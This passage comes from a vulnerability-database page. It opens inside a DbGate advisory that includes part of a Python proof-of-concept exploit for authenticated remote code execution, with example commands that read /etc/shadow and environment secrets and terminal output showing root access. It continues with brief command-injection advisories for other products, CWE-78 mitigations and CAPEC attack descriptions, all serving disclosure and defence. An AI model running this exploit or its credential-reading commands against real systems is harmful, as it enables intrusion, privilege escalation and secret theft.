DbGate 7.1.4.\\n\"\n \"\\n\"\n \"examples:\\n\"\n \" %(prog)s -t localhost -u admin -P \u0027password\u0027 -c \u0027id\u0027\\n\"\n \" %(prog)s -t 10.0.0.5:3000 -u admin -P \u0027s3cret\u0027 -c \u0027cat /etc/shadow\u0027\\n\"\n \" %(prog)s -t target.internal/dbgate -u admin -P \u0027pass\u0027 -c \u0027env\u0027\\n\"\n ),\n )\n p.add_argument(\"-t\", \"--target\", required=True, help=\"Target host[:port]\")\n p.add_argument(\"-u\", \"--user\", required=True, help=\"DbGate username\")\n p.add_argument(\"-P\", \"--password\", required=True, help=\"DbGate password\")\n p.add_argument(\"-c\", \"--command\", required=True, help=\"OS command to execute\")\n p.add_argument(\"-p\", \"--port\", type=int, default=None, help=\"Override port\")\n\n if len(sys.argv) == 1:\n p.print_help()\n sys.exit(1)\n args = p.parse_args()\n\n base_host, path = build_base(args.target, args.port)\n banner(base_host, args.command, args.user)\n\n base = discover_web_root(base_host, path)\n print(f\" [*] API endpoint : {base}\")\n print()\n\n info = phase1_recon(base)\n if not info.get(\"config\"):\n print(\"[!] Cannot reach target \u2014 verify host/port/web-root\")\n sys.exit(1)\n\n token = phase2_authenticate(base, info, args.user, args.password)\n if not token:\n print(\"[!] Authentication failed \u2014 check username/password\")\n sys.exit(1)\n\n output = phase3_rce(base, token, args.command)\n if output is not None:\n print(\"\u2500\" * 60)\n print(output.rstrip())\n print(\"\u2500\" * 60)\n print()\n print(\"[+] RCE successful: authenticated user \u2192 root command execution\")\n else:\n print(\"[!] No output captured (command may have failed or timed out)\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n\n\nAnd running the PoC Python script (requires valid credentials):\n\n```python\npython3 poc.py -t http://localhost -u admin -P \u0027SuperSecretPassword123\u0027 -c \u0027id\u0027\n```\n\nTerminal output:\n\n```\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 DBGate \u2014 Authenticated RCE PoC \u2502\n \u2502 loadReader functionName code injection \u2502\n \u2502 Affects ALL versions (unpatched as of 7.1.4) \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n Target : http://localhost:80\n User : admin\n Command: id\n\n [*] API endpoint : http://localhost:80\n\n[Phase 1] Reconnaissance\n [+] Version : 7.1.4\n [+] Docker : True\n [+] Data dir : /root/.dbgate\n [+] Auth : Login \u0026 Password (default: logins)\n\n[Phase 2] Authentication\n [+] Authenticated as \u0027admin\u0027\n [+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6I...\n\n[Phase 3] RCE via loadReader code injection\n [*] Command: id\n [*] Injecting payload via functionName (bypasses require=null)\n [*] Payload sent (status 500)\n [*] Waiting for execution...\n [+] Output captured (1 lines)\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n[+] RCE successful: authenticated user \u2192 root command execution\n```\n\n\u003cbr/\u003e\n\n### Impact\n\n- **Privilege escalation to root** \u2014 an authenticated DbGate user escalates from web UI access to a root OS shell inside the container\n- **Infrastructure secret theft** \u2014 `/proc/1/environ` exposes all container environment variables, which may include API keys, cloud tokens, and secrets beyond database credentials that are not visible through the DbGate UI\n- **Other users\u0027 credentials** \u2014 extracts `LOGIN_PASSWORD_*` env vars for all DbGate users, enabling password-reuse attacks against other systems\n- **Network pivot** \u2014 from inside the container, the attacker can scan and reach other services on the network that are not exposed externally\n- **Persistent backdoor** \u2014 root access allows modifying the DbGate application itself (e.g. `bundle.js`), installing cron jobs, or adding SSH keys \u2014 the backdoor survives credential rotation and DbGate restarts",
"id": "GHSA-wm5r-5qp3-5vxf",
"modified": "2026-06-05T16:30:59Z",
"published": "2026-06-05T16:30:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-wm5r-5qp3-5vxf"
},
{
"type": "PACKAGE",
"url": "https://github.com/dbgate/dbgate"
},
{
"type": "WEB",
"url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Authenticated Remote Code Execution via loadReader functionName code injection in DbGate"
}
GHSA-WM6P-QP26-2H9V
Vulnerability from github – Published: 2021-11-24 00:00 – Updated: 2021-11-25 00:00Dell EMC CloudLink 7.1 and all prior versions contain an OS command injection Vulnerability. A remote high privileged attacker, may potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the application's underlying OS, with the privileges of the vulnerable application. Exploitation may lead to a system take over by an attacker. This vulnerability is considered critical as it may be leveraged to completely compromise the vulnerable application as well as the underlying operating system. Dell recommends customers to upgrade at the earliest opportunity.
{
"affected": [],
"aliases": [
"CVE-2021-36313"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-23T20:15:00Z",
"severity": "HIGH"
},
"details": "Dell EMC CloudLink 7.1 and all prior versions contain an OS command injection Vulnerability. A remote high privileged attacker, may potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the application\u0027s underlying OS, with the privileges of the vulnerable application. Exploitation may lead to a system take over by an attacker. This vulnerability is considered critical as it may be leveraged to completely compromise the vulnerable application as well as the underlying operating system. Dell recommends customers to upgrade at the earliest opportunity.",
"id": "GHSA-wm6p-qp26-2h9v",
"modified": "2021-11-25T00:00:41Z",
"published": "2021-11-24T00:00:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36313"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000193031/https-dellservices-lightning-force-com-one-one-app"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WM7P-2WCF-H9QH
Vulnerability from github – Published: 2025-12-31 00:31 – Updated: 2025-12-31 00:31Anevia Flamingo XL 3.2.9 contains a restricted shell vulnerability that allows remote attackers to escape the sandboxed environment through the traceroute command. Attackers can exploit the traceroute command to inject shell commands and gain full root access to the device by bypassing the restricted login environment.
{
"affected": [],
"aliases": [
"CVE-2024-58338"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-30T23:15:49Z",
"severity": "HIGH"
},
"details": "Anevia Flamingo XL 3.2.9 contains a restricted shell vulnerability that allows remote attackers to escape the sandboxed environment through the traceroute command. Attackers can exploit the traceroute command to inject shell commands and gain full root access to the device by bypassing the restricted login environment.",
"id": "GHSA-wm7p-2wcf-h9qh",
"modified": "2025-12-31T00:31:11Z",
"published": "2025-12-31T00:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58338"
},
{
"type": "WEB",
"url": "https://www.ateme.com"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/51516"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/anevia-flamingo-xl-remote-root-jailbreak-via-traceroute-command"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5780.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WM95-PG37-PVP7
Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 40 of 46).
{
"affected": [],
"aliases": [
"CVE-2018-11182"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-02T01:29:00Z",
"severity": "HIGH"
},
"details": "Quest DR Series Disk Backup software version before 4.0.3.1 allows command injection (issue 40 of 46).",
"id": "GHSA-wm95-pg37-pvp7",
"modified": "2022-05-13T01:49:07Z",
"published": "2022-05-13T01:49:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11182"
},
{
"type": "WEB",
"url": "https://www.coresecurity.com/advisories/quest-dr-series-disk-backup-multiple-vulnerabilities"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/148003/Quest-DR-Series-Disk-Backup-Software-4.0.3-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/May/71"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WMCG-26FR-HVRC
Vulnerability from github – Published: 2023-03-08 15:30 – Updated: 2023-03-14 21:30TOTOlink A7100RU V7.4cu.2313_B20191024 router has a command injection vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-25395"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-08T14:15:00Z",
"severity": "CRITICAL"
},
"details": "TOTOlink A7100RU V7.4cu.2313_B20191024 router has a command injection vulnerability.",
"id": "GHSA-wmcg-26fr-hvrc",
"modified": "2023-03-14T21:30:22Z",
"published": "2023-03-08T15:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25395"
},
{
"type": "WEB",
"url": "https://github.com/Am1ngl/ttt/tree/main/22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.